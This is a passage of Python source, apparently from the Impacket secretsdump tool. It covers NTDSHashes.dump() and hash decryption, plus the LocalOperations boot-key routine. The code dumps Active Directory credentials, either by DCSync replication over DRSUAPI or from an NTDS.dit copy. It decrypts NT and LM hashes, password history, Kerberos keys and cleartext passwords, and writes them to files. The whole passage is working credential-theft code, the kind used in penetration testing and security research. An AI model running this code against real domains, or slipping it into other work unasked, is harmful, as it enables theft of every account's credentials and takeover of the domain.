2276 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]

2277 except:

2278 domain = None

2279 else:

2280 domain = None

2281 elif attId == LOOKUP_TABLE['sAMAccountName']:

2282 if attr['AttrVal']['valCount'] > 0:

2283 try:

2284 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')

2285 except:

2286 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2287 userName = 'unknown'

2288 else:

2289 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2290 userName = 'unknown'

2291 elif attId == LOOKUP_TABLE['objectSid']:

2292 if attr['AttrVal']['valCount'] > 0:

2293 objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2294 else:

2295 LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2296 objectSid = rid

2297 elif attId == LOOKUP_TABLE['pwdLastSet']:

2298 if attr['AttrVal']['valCount'] > 0:

2299 try:

2300 pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])

2301 except:

2302 LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2303 pwdLastSet = 'N/A'

2304 elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']:

2305 if attr['AttrVal']['valCount'] > 0:

2306 if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:

2307 userAccountStatus = 'Disabled'

2308 else:

2309 userAccountStatus = 'Enabled'

2310 else:

2311 userAccountStatus = 'N/A'

2312

2313 if self.__history:

2314 if attId == LOOKUP_TABLE['lmPwdHistory']:

2315 if attr['AttrVal']['valCount'] > 0:

2316 encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2317 tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)

2318 for i in range(0, len(tmpLMHistory) // 16):

2319 LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)

2320 LMHistory.append(LMHashHistory)

2321 else:

2322 LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2323 elif attId == LOOKUP_TABLE['ntPwdHistory']:

2324 if attr['AttrVal']['valCount'] > 0:

2325 encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2326 tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)

2327 for i in range(0, len(tmpNTHistory) // 16):

2328 NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)

2329 NTHistory.append(NTHashHistory)

2330 else:

2331 LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2332

2333 if domain is not None:

2334 userName = '%s\\%s' % (domain, userName)

2335

2336 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))

2337 if self.__pwdLastSet is True:

2338 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)

2339 if self.__printUserStatus is True:

2340 answer = "%s (status=%s)" % (answer, userAccountStatus)

2341 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)

2342

2343 if outputFile is not None:

2344 self.__writeOutput(outputFile, answer + '\n')

2345

2346 if self.__history:

2347 for i, (LMHashHistory, NTHashHistory) in enumerate(

2348 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):

2349 if self.__noLMHash:

2350 lmhash = hexlify(ntlm.LMOWFv1('', ''))

2351 else:

2352 lmhash = hexlify(LMHashHistory)

2353

2354 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),

2355 hexlify(NTHashHistory).decode('utf-8'))

2356 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)

2357 if outputFile is not None:

2358 self.__writeOutput(outputFile, answer + '\n')

2359

2360 if outputFile is not None:

2361 outputFile.flush()

2362

2363 LOG.debug('Leaving NTDSHashes.__decryptHash')

2364

2365 def dump(self):

2366 hashesOutputFile = None

2367 keysOutputFile = None

2368 clearTextOutputFile = None

2369

2370 if self.__useVSSMethod is True:

2371 if self.__NTDS is None:

2372 # No NTDS.dit file provided and were asked to use VSS

2373 return

2374 else:

2375 if self.__NTDS is None:

2376 # DRSUAPI method, checking whether target is a DC

2377 try:

2378 if self.__remoteOps is not None:

2379 try:

2380 self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])

2381 except:

2382 if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None:

2383 # RemoteOperations failed. That might be because there was no way to log into the

2384 # target system. We just have a last resort. Hope we have tickets cached and that they

2385 # will work

2386 pass

2387 else:

2388 raise

2389 else:

2390 raise Exception('No remote Operations available')

2391 except Exception as e:

2392 LOG.debug('Exiting NTDSHashes.dump() because %s' % e)

2393 # Target's not a DC

2394 return

2395

2396 try:

2397 # Let's check if we need to save results in a file

2398 if self.__outputFileName is not None:

2399 LOG.debug('Saving output to %s' % self.__outputFileName)

2400 # We have to export. Are we resuming a session?

2401 if self.__resumeSession.hasResumeData():

2402 mode = 'a+'

2403 else:

2404 mode = 'w+'

2405 hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)

2406 if self.__justNTLM is False:

2407 keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode)

2408 clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)

2409

2410 LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')

2411 if self.__useVSSMethod:

2412 # We start getting rows from the table aiming at reaching

2413 # the pekList. If we find users records we stored them

2414 # in a temp list for later process.

2415 self.__getPek()

2416 if self.__PEK is not None:

2417 LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)

2418 # First of all, if we have users already cached, let's decrypt their hashes

2419 for record in self.__tmpUsers:

2420 try:

2421 self.__decryptHash(record, outputFile=hashesOutputFile)

2422 if self.__justNTLM is False:

2423 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)

2424 except Exception as e:

2425 LOG.debug('Exception', exc_info=True)

2426 try:

2427 LOG.error(

2428 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])

2429 LOG.error(str(e))

2430 pass

2431 except:

2432 LOG.error("Error while processing row!")

2433 LOG.error(str(e))

2434 pass

2435

2436 # Now let's keep moving through the NTDS file and decrypting what we find

2437 while True:

2438 try:

2439 record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)

2440 except:

2441 LOG.error('Error while calling getNextRow(), trying the next one')

2442 continue

2443

2444 if record is None:

2445 break

2446 try:

2447 if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:

2448 self.__decryptHash(record, outputFile=hashesOutputFile)

2449 if self.__justNTLM is False:

2450 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)

2451 except Exception as e:

2452 LOG.debug('Exception', exc_info=True)

2453 try:

2454 LOG.error(

2455 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])

2456 LOG.error(str(e))

2457 pass

2458 except:

2459 LOG.error("Error while processing row!")

2460 LOG.error(str(e))

2461 pass

2462 else:

2463 LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')

2464 status = STATUS_MORE_ENTRIES

2465 enumerationContext = 0

2466

2467 # Do we have to resume from a previously saved session?

2468 if self.__resumeSession.hasResumeData():

2469 resumeSid = self.__resumeSession.getResumeData()

2470 LOG.info('Resuming from SID %s, be patient' % resumeSid)

2471 else:

2472 resumeSid = None

2473 # We do not create a resume file when asking for a single user

2474 if self.__justUser is None:

2475 self.__resumeSession.beginTransaction()

2476

2477 if self.__justUser is not None:

2478 # Depending on the input received, we need to change the formatOffered before calling

2479 # DRSCrackNames.

2480 # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE

2481 # That's because we don't specify the domain for the user (and there might be duplicates)

2482 # Always remember that if you specify a domain, you should specify the NetBIOS domain name,

2483 # not the FQDN. Just for this time. It's confusing I know, but that's how this API works.

2484 if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0:

2485 self.__justUser = self.__justUser.replace('/','\\')

2486 formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME

2487 else:

2488 formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN

2489

2490 crackedName = self.__remoteOps.DRSCrackNames(formatOffered,

2491 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,

2492 name=self.__justUser)

2493

2494 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:

2495 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:

2496 raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[

2497 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])

2498

2499 userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])

2500 #userRecord.dump()

2501 replyVersion = 'V%d' % userRecord['pdwOutVersion']

2502 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:

2503 raise Exception('DRSGetNCChanges didn\'t return any object!')

2504 else:

2505 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (

2506 crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))

2507 try:

2508 self.__decryptHash(userRecord,

2509 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],

2510 hashesOutputFile)

2511 if self.__justNTLM is False:

2512 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][

2513 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)

2514

2515 except Exception as e:

2516 LOG.error("Error while processing user!")

2517 LOG.debug("Exception", exc_info=True)

2518 LOG.error(str(e))

2519 else:

2520 while status == STATUS_MORE_ENTRIES:

2521 resp = self.__remoteOps.getDomainUsers(enumerationContext)

2522

2523 for user in resp['Buffer']['Buffer']:

2524 userName = user['Name']

2525

2526 userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId'])

2527 if resumeSid is not None:

2528 # Means we're looking for a SID before start processing back again

2529 if resumeSid == userSid:

2530 # Match!, next round we will back processing

2531 LOG.debug('resumeSid %s reached! processing users from now on' % userSid)

2532 resumeSid = None

2533 else:

2534 LOG.debug('Skipping SID %s since it was processed already' % userSid)

2535 continue

2536

2537 # Let's crack the user sid into DS_FQDN_1779_NAME

2538 # In theory I shouldn't need to crack the sid. Instead

2539 # I could use it when calling DRSGetNCChanges inside the DSNAME parameter.

2540 # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.

2541 crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,

2542 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,

2543 name=userSid)

2544

2545 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:

2546 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:

2547 LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[

2548 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])

2549 break

2550 userRecord = self.__remoteOps.DRSGetNCChanges(

2551 crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])

2552 # userRecord.dump()

2553 replyVersion = 'V%d' % userRecord['pdwOutVersion']

2554 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:

2555 raise Exception('DRSGetNCChanges didn\'t return any object!')

2556 else:

2557 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (

2558 crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))

2559 try:

2560 self.__decryptHash(userRecord,

2561 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],

2562 hashesOutputFile)

2563 if self.__justNTLM is False:

2564 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][

2565 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)

2566

2567 except Exception as e:

2568 LOG.error("Error while processing user!")

2569 LOG.debug("Exception", exc_info=True)

2570 LOG.error(str(e))

2571

2572 # Saving the session state

2573 self.__resumeSession.writeResumeData(userSid)

2574

2575 enumerationContext = resp['EnumerationContext']

2576 status = resp['ErrorCode']

2577

2578 # Everything went well and we covered all the users

2579 # Let's remove the resume file is we had created it

2580 if self.__justUser is None:

2581 self.__resumeSession.clearResumeData()

2582

2583 LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")

2584 # Now we'll print the Kerberos keys. So we don't mix things up in the output.

2585 if len(self.__kerberosKeys) > 0:

2586 if self.__useVSSMethod is True:

2587 LOG.info('Kerberos keys from %s ' % self.__NTDS)

2588 else:

2589 LOG.info('Kerberos keys grabbed')

2590

2591 for itemKey in list(self.__kerberosKeys.keys()):

2592 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)

2593

2594 # And finally the cleartext pwds

2595 if len(self.__clearTextPwds) > 0:

2596 if self.__useVSSMethod is True:

2597 LOG.info('ClearText password from %s ' % self.__NTDS)

2598 else:

2599 LOG.info('ClearText passwords grabbed')

2600

2601 for itemKey in list(self.__clearTextPwds.keys()):

2602 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)

2603 finally:

2604 # Resources cleanup

2605 if hashesOutputFile is not None:

2606 hashesOutputFile.close()

2607

2608 if keysOutputFile is not None:

2609 keysOutputFile.close()

2610

2611 if clearTextOutputFile is not None:

2612 clearTextOutputFile.close()

2613

2614 self.__resumeSession.endTransaction()

2615

2616 @classmethod

2617 def __writeOutput(cls, fd, data):

2618 try:

2619 fd.write(data)

2620 except Exception as e:

2621 LOG.error("Error writing entry, skipping (%s)" % str(e))

2622 pass

2623

2624 def finish(self):

2625 if self.__NTDS is not None:

2626 self.__ESEDB.close()

2627

2628 class LocalOperations:

2629 def __init__(self, systemHive):

2630 self.__systemHive = systemHive

2631

2632 def getBootKey(self):

2633 # Local Version whenever we are given the files directly

2634 bootKey = b''

2635 tmpKey = b''

2636 winreg = winregistry.Registry(self.__systemHive, False)

2637 # We gotta find out the Current Control Set

2638 currentControlSet = winreg.getValue('\\Select\\Current')[1]

2639 currentControlSet = "ControlSet%03d" % currentControlSet

2640 for key in ['JD', 'Skew1', 'GBG', 'Data']:

2641 LOG.debug('Retrieving class info for %s' % key)

2642 ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))

2643 digit = ans[:16].decode('utf-16le')

2644 tmpKey = tmpKey + b(digit)

2645

2646 transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]

2647

2648 tmpKey = unhexlify(tmpKey)

2649

2650 for i in range(len(tmpKey)):

2651 bootKey += tmpKey[transforms[i]:transforms[i] + 1]

2652

2653 LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))

2654

2655 return bootKey

2656

2657

2658 def checkNoLMHashPolicy(self):

2659 LOG.debug('Checking NoLMHash Policy')

2660 winreg = winregistry.Registry(self.__systemHive, False)

2661 # We gotta find out the Current Control Set

2662 currentControlSet = winreg.getValue('\\Select\\Current')[1]

2663 currentControlSet = "ControlSet%03d" % currentControlSet

2664

2665 # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]

2666 noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)

2667 if noLmHash is not None:

2668 noLmHash = noLmHash[1]

2669 else:

2670 noLmHash = 0

2671

2672 if noLmHash != 1:

2673 LOG.debug('LMHashes are being stored')

2674 return False

2675 LOG.debug('LMHashes are NOT being stored')

2676 return True

2677

2678 def _print_helper(*args, **kwargs):

2679 print(args[-1])